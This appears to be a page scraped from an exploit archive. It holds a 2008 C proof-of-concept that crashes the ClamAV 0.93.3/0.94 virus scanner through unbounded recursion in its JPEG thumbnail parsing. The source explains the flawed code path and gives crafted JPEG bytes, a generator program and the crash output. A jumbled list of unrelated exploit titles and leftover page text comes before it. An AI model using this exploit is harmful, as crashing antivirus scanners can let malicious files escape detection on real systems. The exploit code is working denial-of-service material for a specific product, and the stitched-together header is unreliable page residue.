
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
90 lines
2.9 KiB
C
Executable file
90 lines
2.9 KiB
C
Executable file
/*
|
|
There is a recursive stack overflow in clamav 0.93.3 and 0.94 (and probably
|
|
older versions) in the jpeg parsing code.
|
|
it scan's the jpeg file, and if there is a thumbnail, it'll scan that too. the
|
|
thumbnail itself is just another jpeg
|
|
file and the same jpeg scanning function gets called without checking any kind
|
|
of recurising limit. this can easely
|
|
lead to a recurisive stack overflow. the vulnerable code looks like:
|
|
clamav-0.94\libclamav\special.c
|
|
int cli_check_jpeg_exploit(int fd) <-- fd to jpeg file
|
|
{
|
|
...
|
|
if ((retval=jpeg_check_photoshop(fd)) != 0) {
|
|
return retval;
|
|
}
|
|
...
|
|
}
|
|
...
|
|
static int jpeg_check_photoshop(int fd)
|
|
{
|
|
...
|
|
retval = jpeg_check_photoshop_8bim(fd);
|
|
...
|
|
}
|
|
...
|
|
static int jpeg_check_photoshop_8bim(int fd)
|
|
{
|
|
...
|
|
retval = cli_check_jpeg_exploit(fd); <-- calls cli_check_jpeg_exploit()
|
|
again without any recursive checks !
|
|
...
|
|
}
|
|
|
|
the exploit shown below triggers this recursive stack overflow by creating a
|
|
fake jpg file. once created and passed on
|
|
to clamav it'll go in a recursive stack loop untill clamav runs out of stack
|
|
memory and causes a stack overflow. effectively
|
|
crashing clamav. The exploit was tested on clamav 0.94 on opensolaris running
|
|
in a vmware.
|
|
exploit:
|
|
*/
|
|
|
|
const char crashstr[] = "\xff\xd8" // jpg marker
|
|
"\xff\xed" // exif data
|
|
"\x00\x02" // length
|
|
"Photoshop 3.0\x00"
|
|
"8BIM"
|
|
"\x04\x0c" // thumbnail id
|
|
"\x00"
|
|
"\x01"
|
|
"\x01\x01\x01\x01"
|
|
"0123456789012345678912345678"; // skip over 28 bytes
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <sys/types.h>
|
|
|
|
#define NR_ITER 200000
|
|
|
|
int main() {
|
|
FILE *fp;
|
|
int i;
|
|
fp = fopen("clamav-jpeg-crash.jpg", "w+");
|
|
if (!fp) {
|
|
printf("can't open/create file\n");
|
|
exit(0);
|
|
}
|
|
for (i = 0; i < NR_ITER; i++) {
|
|
fwrite(crashstr, sizeof(crashstr)-1/*don't want 0-byte ?*/, 1,
|
|
fp);
|
|
}
|
|
fclose(fp);
|
|
printf("done, now run clamscan on ./clamav-jpeg-crash.jpg\n");
|
|
exit(0);
|
|
}
|
|
|
|
/*
|
|
result:
|
|
ilja@opensolaris:~$ ./jpg
|
|
done, now run clamscan on ./clamav-jpeg-crash.jpg
|
|
ilja@opensolaris:~$ /usr/local/bin/clamscan ./clamav-jpeg-crash.jpg
|
|
LibClamAV Warning: **************************************************
|
|
LibClamAV Warning: *** The virus database is older than 7 days! ***
|
|
LibClamAV Warning: *** Please update it as soon as possible. ***
|
|
LibClamAV Warning: **************************************************
|
|
Segmentation Fault <-- clamav crashed !
|
|
ilja@opensolaris:~$
|
|
*/
|
|
|
|
// milw0rm.com [2008-12-03]
|